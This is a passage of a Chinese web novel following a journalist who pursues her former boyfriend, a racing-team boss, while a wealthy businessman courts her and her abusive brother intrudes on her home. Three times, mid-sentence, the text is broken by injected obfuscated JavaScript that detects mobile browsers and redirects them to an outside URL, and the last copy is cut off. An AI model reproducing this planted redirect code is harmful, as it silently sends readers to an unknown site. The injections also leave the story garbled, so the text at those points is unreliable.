沙发上的杨知非撩起眼皮瞥了他俩一眼,没动弹,搂着怀里的女孩,继续有一搭没一搭地抽着烟,大喇喇地占着地方。 薛晓京走过去,发现根本没地儿坐,没好气地踢了踢沙发脚:“麻烦让让,挤挤!” “啧,怎么还特么这么粗鲁。”杨知非嘴上嫌弃,倒真把怀里女孩往旁边扒拉了一下,腾出点空位。他这人,对身边人向来不客气,谢卓宁看不顺眼也照怼不误,公子哥脾气顶天。往常他占着整张沙发,别人就得另寻地儿,没人敢争。偏薛晓京不吃这套,她脑子里压根没等级那根弦,看人只分好坏,好的玩儿,差的滚蛋。 霍然在一旁帮腔:“就是,晓京你……” 薛晓京立刻怼回去:“闭嘴!我可告你啊,最近开会常见着你爸,惹我小心我给你丫告御状!” 何家瑞乐了:“人霍叔叔坐主席台,你满会场端着相机咔嚓咔嚓,怎么告……” “何家瑞——!”薛晓京过去就踹他一脚,“有你什么事儿!丫肉皮又痒痒了是吧?” “来来来,吃水果,消消气儿。”何家瑞嘿嘿笑着打圆场。 周宴清目光在两位新来的姑娘身上转了转,笑问:“不介绍介绍?” “哦对!”何家瑞立刻接上,“这二位,咱发小,一个院儿里滚大的。”他指着薛晓京,“这位,人民公仆,薛晓京。”又转向许岁眠,“这位,海归美女记者,许岁眠。” “您好。”许岁眠礼貌点头。 周宴清含笑回应,鼻翼微动,随即报出一个香名。 “什么?”许岁眠微怔。 “许小姐身上的味道,很特别。”周宴清解释,“家里老太太好这口,闻着像是不错的老料子。” 许岁眠反应过来,大概是做SPA时沾染的熏香,没想到留香这么久。她忽然想起什么,从包里拿出那个小巧的瓷罐,递给周宴清:“既然您家老太太喜欢,送她吧。” 周宴清一愣,没接,反而下意识瞥了眼一直低头看牌的谢卓宁,噗嗤乐了。他显然没料到许岁眠是这路数,觉得有点意思。 桌上瞬间静了一瞬。 “算了算了,”周宴清摆摆手,眼神瞟着谢卓宁,笑得那叫一个意味深长,“可不敢收。许姑娘好意心领了。” “好吧。”许岁眠本就是故意试探谢卓宁反应,见他纹丝不动,便想收回。谁知桌角那位一直沉默的莫振一突然开口:“不如许小姐割爱送我?可否?” “啊?”许岁眠一怔,这才注意到这个存在感极低的男人。属实没料到他会有此请求。 一直垂眸看牌的谢卓宁,捏着牌的手指几不可察地顿了一下,抬眼朝莫振一望去,目光沉沉。 “最近头疼失眠,闻着味道…似乎能安神。”莫振一语气平淡地解释。 “哦,好啊。”许岁眠倒无所谓,既然有人需要,便爽快递了过去,还贴心补充,“这是一位朋友自己调制的古法合香,您若需要长期用,我可以把她微信推给您。” “有劳。”莫振一颔首。 许岁眠拿出手机:“那我们…得加个微信?” 莫振一没多话,直接调出二维码递到她面前。 周宴清在一旁看得直咂舌,脱口而出:“绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117867|179993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。许姑娘,你可能是第一个加到莫总私人微信的女人,哈哈。” “啊?”许岁眠握着手机差点不稳,眼神却飞快地偷瞄向谢卓宁。 几乎就在周宴清话音落下的瞬间,谢卓宁“啪”地将手里的牌推倒,声音冷淡:“累了,换人。”说完,起身头也不回地走出了包间。 门“哐”地拉开,又重重合上。 房间里的空气凝固了一瞬。 “不好意思,我去下洗手间。”许岁眠紧跟着起身,快步追了出去。 走廊空荡,人影已无。她顺着指示牌往前走,刚拐过弯,就听见打火机喀嚓一声脆响,随即传来男人低沉冷峭的声音: “阴魂不散?” 许岁眠脚步猛地顿住。循声望去,谢卓宁正斜倚在墙上,抱臂曲着一条长腿,指间夹着的烟,一点红光在昏暗的光线下闪烁。 她缓慢地眨了眨眼,像是才看清他。半晌,才轻轻吐出一句: “好久不见。” 这似乎……真的是她回国后,他们第一次,周围没有任何人的,真正意义上的单独见面。 烟雾袅袅上升,隔在两人之间。谢卓宁透过薄烟看着她,嗤笑一声,嗓音透着熬夜的哑: “为什么回来?” “为什么不回来?”许岁眠反问。 “走的时候不是挺潇洒?”他弹了下烟灰,眼神锐利,“发誓一辈子不再回北京。” 许岁眠抿了抿唇,小声嘟囔:“我小时候还发誓考清华呢,那我不也没……”她弱弱地闭了嘴,抬起眼,无辜地看向他。 谢卓宁最烦她这副样子,心头那股无名火更盛,烦躁地别过脸,将烟蒂狠狠摁灭在旁边的垃圾桶上。 “歇歇吧,”他声音冰冷,“咱俩,没戏。” “我就想采访你而已……”许岁眠试图解释。 谢卓宁抬脚就往回走,丢下硬邦邦三个字:“都没戏!” “那我明天还去堵你!”许岁眠快步追上去。 “随你便。” “那你把我微信通过了吧?” “不可能。” 走到包间门口,谢卓宁突然停下脚步,挡在门前。许岁眠差点撞上他后背,堪堪刹住。 “不让我进?”她挑眉。 谢卓宁侧过身,居高临下地看着她:“让你走,你走吗?” “可以呀,”许岁眠点头,语气轻松,“你不想看到我,我离你远远的。” “那就走。”毫不客气。 “行,”她爽快应下,还不忘交代,“回头帮我跟晓京说一声。”本来她也想走了,折腾一天太累……何况,今天已经算是有意外收获,她知足了。转身,走出几步又回头,扬起一个狡黠的笑:“那明天赛车场见喽?” 谢卓宁看着她纤细的背影消失在走廊尽头,才沉着脸推门进去。 周宴清八卦地探头往他身后瞧:“欸?许记者呢?” “问我?”谢卓宁径直回到麻将桌旁,虚虚踢了何家瑞一脚。何家瑞麻溜起身让座。 “她不是追你去了?”周宴清追问。 谢卓宁面无表情地整理何家瑞留下的牌局,余光扫过旁边气定神闲的莫振一,语气淡漠:“不知道。” 顿了一秒,又莫名其妙地补了一句:“估计嫌没意思,走了。” 沙发那边,杨知非像看外星生物一样,惊愕地盯着正埋头吃下第三碗炸酱面的薛晓京。 “可惜了,”周宴清意味深长地开口,打破了牌桌的沉默,“刚刚莫总还说,有机会想和许小姐约个采访呢。” 莫振一摸牌,打出一张,语气依旧平稳:“没关系,有缘下次。” 牌局重新开始。 谢卓宁几不可查地轻哼一声,指尖微微用力,甩出一张幺鸡。 7. 岁岁 许岁眠手里攥着钥匙,脚步轻快地上了楼。开门,进屋,一切如常。直到“啪”一声摁亮顶灯—— 沙发上赫然躺着个人影。 心猛地一沉,像掉进了冰窟窿。 还好。她攥紧拳头,指甲深深陷进掌心,用尽全身力气压下那股翻涌的恶心和恐惧。还好,这一次,不像头回撞见他时那样失控了。 “你怎么进来的?” 许屹骁姿态慵懒地躺在那儿,衬衫扣子散开大半,一条手臂随意搭在额前,挡着骤然刺眼的光。冷白的光线落在他脸上,勾勒出近乎苍白的轮廓,像一尊没有生气的雕塑。 他动了动,声音带着宿醉的沙哑,漫不经心:“我说我是你弟。给开锁的看了户口本,人家就给我开了。” “出去。”许岁眠的声音平平的,只有一股子冷意。 许屹骁没动,浓重的酒气在灯光下几乎有了形状。 他今天好像和平时不太一样,没有上次那种歇斯底里的疯狂,整个人看起来只有一种很深沉的疲惫……他侧过头,目光穿过指缝落在她脸上,带着点好奇的探究:“姐,这几年在国外,过得好吗?” 许岁眠冷冷地看着他表演,一言不发。 “我觉得不好。”他兀自说下去,嘴角牵起一个没什么温度的弧度,“爸出事后,我在国内待不下去。后来妈也把我扔出去了……在国外,过得不如狗。”他顿了顿,喉结滚动,声音压低了些,“还是家里好…家里,还有你的味道呢,香香——” “你闭嘴!”许岁眠猛地打断他,胸口剧烈起伏,强忍着抄起手边东西砸过去的冲动。 许屹骁短促地冷笑一声,彻底闭上了眼,似乎懒得再掰扯。 “我没地方住,”他声音闷闷地传来,有点刻意卖可怜,“在你沙发上凑合一晚,行吗?” “不行。”许岁眠斩钉截铁。她太清楚这副装孙子的可怜样儿底下,藏着的是条怎样不择手段的疯狗。 “打电话,找你妈。” 他嗤笑,眼睛都没睁,“妈妈哪有姐姐亲?” “你……”许岁眠胸口堵着,压着火,“你是真疯了。” 许屹骁忽地笑了,笑声在寂静的夜里显得格外刺耳。 “放心,我对你干不了什么。喝成这样,想硬都硬不起来。” “你真他妈…恶心透了!”许岁眠再也不想多看一眼,转身冲进卧室,“砰”地甩上门。反锁。用尽全身力气把书桌和椅子死死抵在门后!她颤抖着手从抽屉里摸出那把备用的水果刀,对着门外吼:“许屹骁!你敢碰这门一下,我他妈剁了你!” …… 一整夜她没敢合眼,听见客厅有动静,像是人往厕所走的声音。天快亮时迷迷糊糊打了个盹,再睁眼时客厅空了。餐桌上摆着豆浆和油条,两张皱巴巴的钞票下压着张纸片,潦草的字迹:换锁。 许岁眠盯着那纸片,胃里一阵翻江倒海。她抓起那兜早点,连同纸片一股脑全扔进了垃圾桶,多看一眼都恶心。 她几乎是飘着走进卫生间,想用冷水浇灭一夜未眠的疲惫。然而,目光扫过晾衣架——原本挂在那里的,她前一晚刚刚洗好的内衣内裤,全都不翼而飞了! 一股冰冷的恶寒瞬间从脚底窜上头顶。 “许屹骁——!!!”压抑到极致的尖叫终于冲破喉咙,带着血腥味在狭小的浴室里炸开,“我他妈早晚杀了你!!!” …… 一整天,叮叮当当的换锁声响彻小小的屋子,像在拼命洗刷掉某种令人作呕的印记。直到傍晚,夕阳将窗框染成橘红,新锁才终于落定。 她疲惫地按了按眉心,瞥了眼时间。迅速收拾好录音笔和笔记本,换上利落的外套。 出门正好拦了辆出租车,“去顺义。” - 许岁眠来了几次,跟于小帅几乎都混熟了。那小子眼尖,远远看见她的身影,就猫着腰从维修区探出头,手里还拎着个扳手,咧着嘴朝她用力挥了挥手。 “许记者!又来找老大?” 许岁眠颔首走近,山风拂过她鬓角碎发。“他在吗?” “不赶巧儿,”小帅一抹汗,“天黑要搞模拟拉力赛,老大刚走。” 不在。 “大概…什么时候回来?”许岁眠声音很轻。 “这可说不好,”小帅挠头,“估摸得熬一宿。老大就爱夜里练,图清净,往常都是天亮才回。” 暮色沉沉压着山脊线。许岁眠抬眼望去,山影幢幢,引擎的轰鸣隐隐约约从远方撕扯着寂静。视线顺着声音滑落,山脚下那小楼,此刻黑黢黢一片,了无生气。 “好,那我先回了。”许岁眠转身。 她刚走,修车区又钻出几个脑袋,围上小帅,瞅着那纤细背影啧啧有声:“嘿,要我说,人许记者哪像奔着采访来的?分明是醉之意不在酒…冲着咱们老大来的!” “连着几天了,眼巴巴的…” “我看悬,老大那性子,冰坨子似的…” 于小帅:“滚蛋!活儿干利索了么就嚼舌根!” - 第二天,于小帅猫在法拉利底盘下拧螺栓,听见动静一探头,嗓门扯开:“许记者!您又来啦嘿!” 他泥鳅似的滑出来,撂下扳手,胡乱拍着工装裤上的灰,小跑着递过瓶冰水。“今儿怎么这么早!” 确实,许岁眠今天特意起了个大早,挤着头班地铁赶到顺义。她目光投向那栋灰扑扑的小楼,“谢谢。他回来了?” 于小帅搓着后颈,讪笑:“嗐,没呢…指不定猫哪个山头了,八成不在近边儿。” 许岁眠默默点了点头。 第三天,她依旧准时出现,像上了发条。 于小帅挠着头,还是那句:“对不住,没回呢…” 第四天,许岁眠的身影刚嵌进赛车场大门,于小帅就绷不住了。他觑着四下无人,猫腰溜向小楼。 想替她“说项”去。 模拟拉力赛是真,不在近边也是真的。只不过带队去的是贺征。谢卓宁压根儿没挪窝,这几天一直就在这小楼里待着。 “老大,许记者又来了,连着第四天了!见不着您就干等着,眼巴巴的…要不…您抽根烟的功夫,应付两句?”于小帅扒着门框,小心翼翼地探头问。 沙发上,谢卓宁姿势慵懒地陷着,指尖漫不经心地翻着一份文件,声音听不出情绪:“那就让她等。” 小帅不敢再聒噪,屋里还有贵客呢。他“哦”了一声,朝沙发那头那位气度不凡的客人仓促点了下头,蔫头耷脑退出去。 那端端坐的,正是莫振一。 车队新签的广告赞助商。 ... 谢卓宁指尖在扶手上轻叩两下,算是拍板:“行,照莫总章程办。” - 小楼外,那辆幻影黑劳斯莱斯扎眼地泊着。许岁眠猜到里面有客。 谢卓宁肯定也在里面。 她倚着冰凉的水泥看台壁,做好了再耗一天的准备。可临近晌午,小腹那股熟悉的绞痛猛地加剧。 这次月事拖拖拉拉好几天没走,此刻疼得比以往都凶。她强撑着,冷汗却浸湿了鬓角,双腿不受控地发软打颤,唇色白得瘆人。 实在撑不住了。 她最后望了眼小楼。正午的日头毒辣,玻璃幕墙反着刺目的光,里头人影幢幢,模糊不清。 恍惚间,记忆拽回了高中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117868|179993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是这么疼得死去活来时,那个少年紧张得手足无措,偷偷翻墙出去买药,笨手笨脚地给她灌热水袋……只是那温度,隔着磨砂玻璃般的岁月,似乎早就凉透了… 她咬唇回神,指甲掐进掌心,拎起包一步一挪,像踩在刀尖上。 - 谢卓宁送莫振一至车旁,面上滴水不漏。幻影无声滑走,他反手从烟盒磕出一支叼上,没点。眼皮撩起,目光习惯性地扫过看台——空的。 眉心几不可察地蹙了一下。他咬着未燃的烟,脚步却像生了根,钉在原地片刻。随即,像是漫不经心,踱向P房。 “老大,找东西?”有队员凑近,觑着他脸色。 谢卓宁没应,视线在空旷的场地逡巡了一圈,才从齿缝里挤出一个字:“人。” “人?”队员一时没反应过来,茫然四顾,“谁啊?” 旁边机灵的立刻会意,压低声音:“您是说…许记者?人撤了!刚走没多会儿。”他小心地补充,“瞧着…脸色白得吓人,捂着肚子,走路都打晃儿。” 谢卓宁捏着烟的手指骤然收紧,脑子里“嗡”的一声,几乎是刻进骨髓的条件反射,想起了一个该死的日子。 他低低骂了句什么,声音含混在唇齿间,只有绷紧的下颌线和微微起伏的胸膛泄露了情绪。 其他人面面相觑,不明所以。 谢卓宁摸出手机,背过身去,走向几步开外的阴影里。电话接通,声音压得又低又沉,语速却比平时快了几分:“刘叔,还得麻烦您,进城一趟…” “阿宁啊,”刘师傅声音带着歉意,“真不巧,我出城办点事,刚上高速!要不…喊我儿子去接?” “不必了,您忙。”谢卓宁挂了电话,盯着熄灭的屏幕,下颌线绷紧。指间的烟卷已经被揉搓得不成样子,细碎的烟草末沾在指尖。过了几秒,他像是下了什么决心,转身大步流星走向车库, 下一秒,那辆奔驰大G的引擎发出暴躁的嘶吼,箭一般冲了出去。 - 许岁眠强撑着走了没多远,步履虚浮,眼前阵阵发黑。正午的日头毒辣,烤得路面蒸腾起扭曲的热浪。身后传来低沉浑厚的引擎声,由远及近,沉稳有力。 她下意识地往道边树荫下让了让。 一辆深色的劳斯莱斯幻影却在她身侧无声无息地滑停,后车窗缓缓降下,露出莫振一温润含笑的侧脸,铂金镜架泛着冷光。 “许小姐?”他目光在她苍白的脸上停顿片刻,语气温和:“好巧,回市区吗?” 许岁眠怔住,一时有些恍惚。 莫振一唇角笑意深了些,恰到好处的了然与熟稔:“怎么,牌桌上一面之缘,许小姐贵人多忘事?” 一句话,点明了渊源。 记忆回笼。“莫总…好巧。”她声音虚弱,唇色淡得几乎看不见,“您怎么…” 莫振一目光扫过她毫无血色的脸,绅士地往里让了让:“你脸色看起来不太好,先上来再说?” 车门无声地自动打开。许岁眠实在撑不住那钻心的绞痛,低声道了句“麻烦您了”,几乎是脱力地跌进后座柔软的真皮座椅里。 她刚坐稳,手还没碰到车门把手—— “轰!” 一道巨大的黑色车影裹着滚烫的气浪和震耳欲聋的轰鸣,几乎是贴着幻影锃亮的车尾和左后视镜,呼啸着冲了过去! 巨大的声浪和气流猛地撞在车身上,震得她微微一晃。卷起的尘土和热风扑打在幻影光洁的车窗上。 谢卓宁握着方向盘的手青筋暴起,后视镜里银灰色车身越缩越小。他喉结动了动,薄唇抿成一道毫无弧度的直线,没有多余的表情,只是脚下油门无沉沉地踩到了底。 8. 岁岁 许岁眠一上车,目光先落在前排。司机西装革履,白手套纤尘不染。她下意识颔首,算是打过招呼。 宽敞的后座空间,她却下意识将身体朝门边挪了寸许,不动声色地划开一道无形的界限。 密闭空间里只余两人,尤其对方还算是个陌生男人,那份不自在悄然滋生,怎么都挥之不去。 莫振一的目光在她身上停留片刻,唇角噙着若有似无的笑意,视线掠过她无意识覆在小腹的手。 “关掉冷气。”他吩咐司机,声线平稳。 随即他脱下身上的西装外套,递向她:“介意么?”语气是询问,姿态却是不容拒绝的给予。 许岁眠指尖触到那温热的衣料,微顿。倒是没怎么矫情,低声道了句“谢谢”后,便将外套覆在肩头。 一股清冽沉静的木质香气,带着雪松和某种难以言喻的冷冽底蕴,瞬间包裹了她。这味道……她心头微动,眸中闪过一丝讶异,抬眼:“这香气……您联系到秦小姐了?” 话音未落,莫振一毫无预兆地倾身靠了过来。 “莫先生?”她呼吸一窒,后背瞬间贴紧椅背。 他低笑一声,修长手指已从西装内袋夹出一枚薄如蝉翼的香片,不过指甲大小,那幽微而强大的气息正源于此。 “再闻闻,”他将香片稳稳递至她鼻尖下方一寸之距,分寸拿捏得极好,“像吗?” 许岁眠依言轻嗅,细品片刻,缓缓摇头:“是有些不同……并非同一种香,但都极好。” “是我实验室的小玩意儿。”莫振一语气平淡,仿佛在说一件寻常事,“自然比不上秦小姐的手笔,不过……效果尚可。这几日,睡得还好?” 许岁眠抿了抿唇:“…还是老样子。” “礼尚往来。”他截断她的话,指间的香片又向前递了半分,“许小姐上次割爱赠我的香粉,情意难得。这个,拿去试试?万一有点用?”他的姿态从容,仿佛递出的不过是一张寻常名片。 “这……”许岁眠看着那枚躺在男人干净指尖的薄片,迟疑。 “自己捣鼓的,不值什么。”他补充道,笑意加深,却是一种不容推拒的姿态。 许岁眠眼帘半垂,终是伸出指尖,小心地从他手中拈过那片香。 “……好。”她轻声应道,将香片置于掌心,凑近鼻端。那独特的冷香丝丝缕缕,确实清心凝神。 到了晚上,薛晓京的微信准时弹出来,依旧没心没肺的劲儿:“许老板,今儿‘采花’战绩如何?”话太快,说秃噜嘴了,“采访”直接说成了“采花”,倒也应景儿。 许岁眠垂头丧气,指尖戳了四个字回过去:“拒之门外。” 她陷在柔软的被褥里,手指无意识地摩挲着掌心那个小小的玻璃瓶。 瓶里那片不起眼的香片,在昏暗的光线下泛着温润的光泽。鬼使神差地,她敲过去一行字:“宝儿,上回何家瑞攒的那个局,牌桌上那个莫总,你记得么?” “莫总?”薛晓京那头回得飞快,“好像是个房地产商,具体哪路神仙不清楚,反正挺有钱的。怎么着?这就转移目标了?谢队儿那儿碰壁,打算换座山爬爬?” 许岁眠盯着屏幕,慢吞吞地打字:“他想泡我。” “噗——”薛晓京那边估计喷了口水,“我那天不也在吗?他怎么没想着泡我?”她自问自答,语气促狭,“没事没事,泡你等于泡我!” 许岁眠发过去一串省略号。 薛晓京不依不饶:“所以呢?许大记者,被泡着了没?” 又是一串省略号。 “哈!我知道了!”薛晓京恍然大悟,“想拿姓莫的当枪使,激谢卓宁的械?高啊许岁眠,这招够阴险!牛叉!” 许岁眠翻了个身,把玻璃瓶小心搁在枕边,指尖在屏幕上用力:“并不是。”她顿了顿,补充道,“我决定了,以后离这号人物远点。再有他在的局,提前吱一声,我能躲就躲。” 她深吸一口气,打下最后一句,“多一事不如少一事,这人感觉我惹不起。而且……我也没想那么对谢卓宁。” 这次轮到薛晓京发来一串省略号。 也是后来,她因缘际会和秦昭昭成了好朋友。某次闲谈提及,她拿出那枚珍藏的香片给对方看。 秦昭昭接过后,习惯性地先凑近鼻子闻了闻。刚吸了一口气,动作就顿住了,眉头微蹙,又凑近仔细研究,声音带着难以置信,“这味道……底子是陈年老奇楠,混了顶级的龙涎香定味,最绝的是里头那一丝……天,这该不会是早就绝迹了的‘雪顶檀’的心油吧?” 她指尖小心捏着那小小的香片,像是捧着什么易碎的宝贝,心疼又惊叹地直摇头,“……这一小片,算上损耗……一百多万打不住。”她报出的几个香料的名字,无一不是价比黄金的天价之物。 当时薛晓京也在,眼珠子瞪得老大,写满了“卧槽”。她猛地一拍许岁眠大腿,语气是捶胸顿足的懊丧:“瞧瞧!许岁眠你丫瞧瞧!你他妈放跑的哪是条鱼,是座金光闪闪的活佛啊!” 而许岁眠只觉得一股寒气从脚底直窜头顶,掌心仿佛还残留着那香片的触感,此刻却滚烫得吓人。一百多万……轻描淡写递过来的小玩意儿?她脑子里嗡嗡的,有点懵,又有点发慌。 后背悄悄沁出点冷汗,她心里只剩下一个念头:幸好当初躲得够快。这浑水沾上了,怕是怎么抽身都难。 …… 薛晓京终于从“百万香片”的震撼里回过神,立刻抓住了重点,火力全开:“露馅了吧你!许岁眠!最后那句‘没想那么对谢卓宁’什么意思?啊?心里那点儿小火苗压根就没灭干净是不是?” 许岁眠那边装死,没吭声。 “我就知道!天天往人车队里钻,什么采访?假公济私!丢人现眼的玩意儿!”薛晓京噼里啪啦甩过来一串炸弹表情包。 许岁眠扛不住了,破罐破摔:“……那你帮我想想办法嘛。”天天吃闭门羹,她脸皮再厚也快挂不住了。 “都说女追男隔层纱,怎么搁你这儿,谢卓宁那门跟防弹级别似的?真他妈没出息!”薛晓京恨铁不成钢,“我可告儿你丫,这回要是再拿不下,脸可就丢到姥姥家了,尤其在赵西西那几个碎嘴子跟前儿,栽面儿栽大发了!” 许岁眠弱弱挣扎:“……那要是……拿下了呢?不就正好打她们脸了?” 薛晓京一愣,随即拍板:“也是!行吧,就冲这个,姐们儿挺你!” 没过两天,薛晓京的电话打了过来,语气带着点邀功的得意:“喂?谢老爷子八十大寿,排场不小。‘某人’肯定得到场,你来不来?毕竟老爷子以前挺稀罕你的!” 许岁眠“啊”了一声,有点犹豫:“可是……没帖子也能去么?”谢家那种门第,寿宴可不是谁都能进的。 “嘁,多大点儿事!帖子包我身上了!”薛晓京大包大揽。 许岁眠握着手机,指节微微收紧,片刻后回了个好。 暮色沉沉的两天过去,许岁眠的心始终悬在半空,隐隐期待着什么。 报社里,薛晓京的电话风风火火地打了过来,“宝儿,帖子收到没?” “没收到啊。”许岁眠眉头轻蹙,语气透着疑惑。 “我让何家瑞寄的,他说签收了啊!”薛晓京突然顿住,随即爆了句粗口,“卧槽这傻逼,肯定是寄你家去了!” 说起来,许岁眠出国这些年,薛晓京、何家瑞几个发小没少帮衬杜蕙心。逢年过节,各种稀罕玩意儿往她家寄,估计何家瑞顺手了,这次又寄她那儿去了。 许岁眠揉了揉眉心,语气淡淡,“没事,我回家看看。” 回到家,果然,帖子被杜蕙心收了。 “我和你一起去。”杜蕙心眼神坚定,似乎打定了主意。 许岁眠瞥了她一眼,把帖子收好,语气凉凉,“我不拦着,你自己承受得住就行。” 言外之意,杜蕙心怎么会不清楚?落魄的富太太去那种场合,少不了被人奚落。 可她脸色一沉,立刻红了眼眶指责道,“我为了谁?还不是为你们姐弟俩谋出路!” “别,是你也是为他,不是为我。”许岁眠想起许屹骁,一阵生理性不适涌上心头,连带着这家里都待不下去了。她懒得再多说,拿着帖子转身就走。 真到了寿宴那天。 杜蕙心铆足了劲,翻出压箱底最贵的一套行头——限量款手袋、高定衣裙、钻光闪闪的珠宝,恨不能把“瘦死的骆驼比马大”刻在脑门上,堆砌出一种用力过猛,近乎可笑的“体面”。 甚至还特意租了辆劳斯莱斯,司机伺候。许岁眠不愿陪她演这出戏,想自己走,却被杜蕙心死死拽住,只能沉着脸上了车。 老爷子们做寿,贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许岁眠还记得高考前那段日子,压力大得喘不上气。谢卓宁蹬着他那辆特别加装了后座儿的捷安特,载着她穿过大半个北京城,屁股都快颠成了八瓣,就为带她去姜姨的小院透口气。 姜姨笑着领他们去后院的小菜畦,绿油油的油菜刚抽薹,摘了嫩生生的菜心,用砂锅煨一钵金黄喷香的老母鸡汤。两人能呼噜噜干掉两大海碗,鲜得人直咂舌。 可惜,姜姨在她出国后不久,便去世了。 车子停稳。司机躬身拉开车门。 许岁眠跟在杜蕙心身后刚落地,就听见身后传来轮胎碾过路面的沙沙声,夹杂着熟悉的、带着点玩世不恭的谈笑。 她回头。 杨知非、霍然,一身剪裁如刀锋的定制西装,旁边是同样盛装出席,裙摆摇曳的赵西西,正从一辆宾利慕尚上鱼贯而下。 几道目光漫不经心地扫过这边,霍然反应最快,脸上瞬间堆起热络得近乎浮夸的笑,几步抢上前:“哟!杜姨!您今儿这气色,绝了!风采更胜当年啊!”他目光飞快掠过许岁眠。 杨知非指间把玩着一枚打火机,金属壳泛着冷光,朝许岁眠方向极淡地颔了下首,算打过招呼,对杜蕙心也敷衍地叫了声“杜姨”。 面子活儿,算是给齐了。 唯独赵西西,那双描画精致的眼睛挑剔地在杜蕙心那只过气好几季的凯莉包上刮了个来回,嘴角撇了撇,压根没看杜蕙心,只冲着许岁眠扬起一个假得晃眼的笑: “哟,岁岁!真是…好久不见了呢。” 许岁眠淡淡回了句:“不是云顶那次刚见?年纪轻轻就得健忘症了?” 她懒得再看赵西西那张脸,反手挽住杜蕙心僵硬的胳膊,径直往里走。 是,她也烦杜蕙心。但轮不到外人来轻贱。 霍然瞧着许岁眠那截纤细却挺得笔直的背影,利索地把刚点的烟摁灭在掌心,撂下句“杜姨我帮您拎着”,就巴巴地追了上去。 身后。 赵西西细高跟狠狠碾了下地面,从鼻腔里挤出一声冷哼:“你说她…巴巴儿地回来,图什么?” 杨知非吐出一口青白的烟雾,与她并肩往里走。俊男靓女,惹得厅口几位相熟的叔伯扬手招呼:“小非!西西!这边儿!” 他随意抬了下夹烟的手算是回应,眼皮都没动:“怎么着啊?首都是人老家,回来还得跟您报备?” “她是不是还惦记着跟卓宁哥复合呢?” “谁知道。”杨知非单手揣进白西裤口袋,步子迈得嚣张,“碍着您了?” 赵西西精致的下颌线绷紧了:“我要是她,今儿就没脸来!” 杨知非鼻腔里哼出一声,懒得再搭腔,两人一同迈进灯火通明的大厅。 9. 岁岁 屋里。 厚重的紫檀屏风后,隐约传来长辈们低沉的谈笑,暗流涌动。 年轻一辈则散落在宽大的沙发区,言笑晏晏,自成一方天地。 许岁眠陪着杜蕙心,在衣香鬓影中穿梭,向几位世交叔伯阿姨问好。 自从许家破落后,这些人精的态度早已是云泥之别。霍然看着许岁眠跟在杜蕙心身侧,对着那些眼神精刮的富太太官太太们,强撑起无懈可击的笑意,杜蕙心赔着小心,那份刻意又卑微的世故,看得他心头莫名发堵。于是放下东西没挪窝,就寸步不离地杵在许岁眠斜后方半步的位置。干脆不走了。 什么意思不言而喻。霍家如今在圈里势头正劲,有霍公子站台,旁人多少收敛些,那些含沙射影的刻薄话也暂时咽回了肚里。 许岁眠侧眸,极快地扫了他一眼,没言语,眼底却掠过一丝难以捉摸的情绪。 再看沙发那边,何家瑞和薛晓京早就到了,正盯着电视看得入神。面前的茶几上堆着瓜果茶点,壁挂电视里正放着吵闹的动画片。俩人看得比旁边流着哈喇子的小豆丁还投入。 “操!懒洋洋丫绝壁是公的!”何家瑞指着屏幕嚷嚷。 “母的!!你丫懂不懂啊!”薛晓京一巴掌拍他腿上。 “公的!” “母的!” 吵吵得活像俩掐架的癞蛤蟆掉进了开水锅。 许岁眠陪着杜蕙心在厅里走着,眼神不经意间掠过镂空屏风,终于捕捉看到了那个让她心心念念的身影。 - 谢卓宁斜倚在八仙桌旁,由着身边的叔伯们给点烟。一身高级西装皱巴巴地裹在身上,腕子上那块百达翡丽也歪斜着晃荡——老爷子八十大寿的场子,满堂宾客,也就他敢这么散德行。 杨知非跟长辈们虚应了一圈,溜达到沙发区找何家瑞他们。打火机随手往茶几上一扔,抄起块西瓜啃了口,“一会儿散了席,搓两圈?” “上回你俩合伙坑我那十几万我还记着呢,又想算计我?”何家瑞递过纸巾,杨知非顺手抹了把嘴角,痞痞一笑。 薛晓京嗤笑出声:“嗬,自己脑子不够使,怪我们咯?” “甭废话,就说来不来。”杨知非挑眉。 “这不三缺一么?”何家瑞话音未落,几个人的目光就齐刷刷投向大厅那头——霍然正巴巴地跟在杜姨身后,那殷勤劲儿,装得跟人准女婿似的。结果呢?人岁岁连个眼角都懒得给他。几人默契地啧啧摇头,这哥们儿是真不嫌跌份儿。 再瞥一眼霍然他妈那张脸,拉得老长,阴得快滴出水了。 不一会儿,霍然陪着许岁眠回来,两人都累得够呛。 许岁眠刚在沙发落座,霍然就赶紧挑了块顶好的西瓜,仔仔细细用纸巾托着递过去,“岁岁,吃块西瓜解解渴?” 许岁眠没接,只淡淡摇头。 “那……喝点茶?”霍然放下西瓜又要去倒,许岁眠直接打断:“我不喝。” 霍然动作一顿,还是执拗地倒了杯热茶,“渴了你再喝。” “我不渴。”许岁眠语气疏离。 那副热脸贴冷屁股的样儿,看得对面三人直起鸡皮疙瘩。 霍然眼风不善地扫过来,仨人立马装模作样地别开脸。何家瑞假装给杨知非整整领子,薛晓京装模作样地拨弄何家瑞头发。 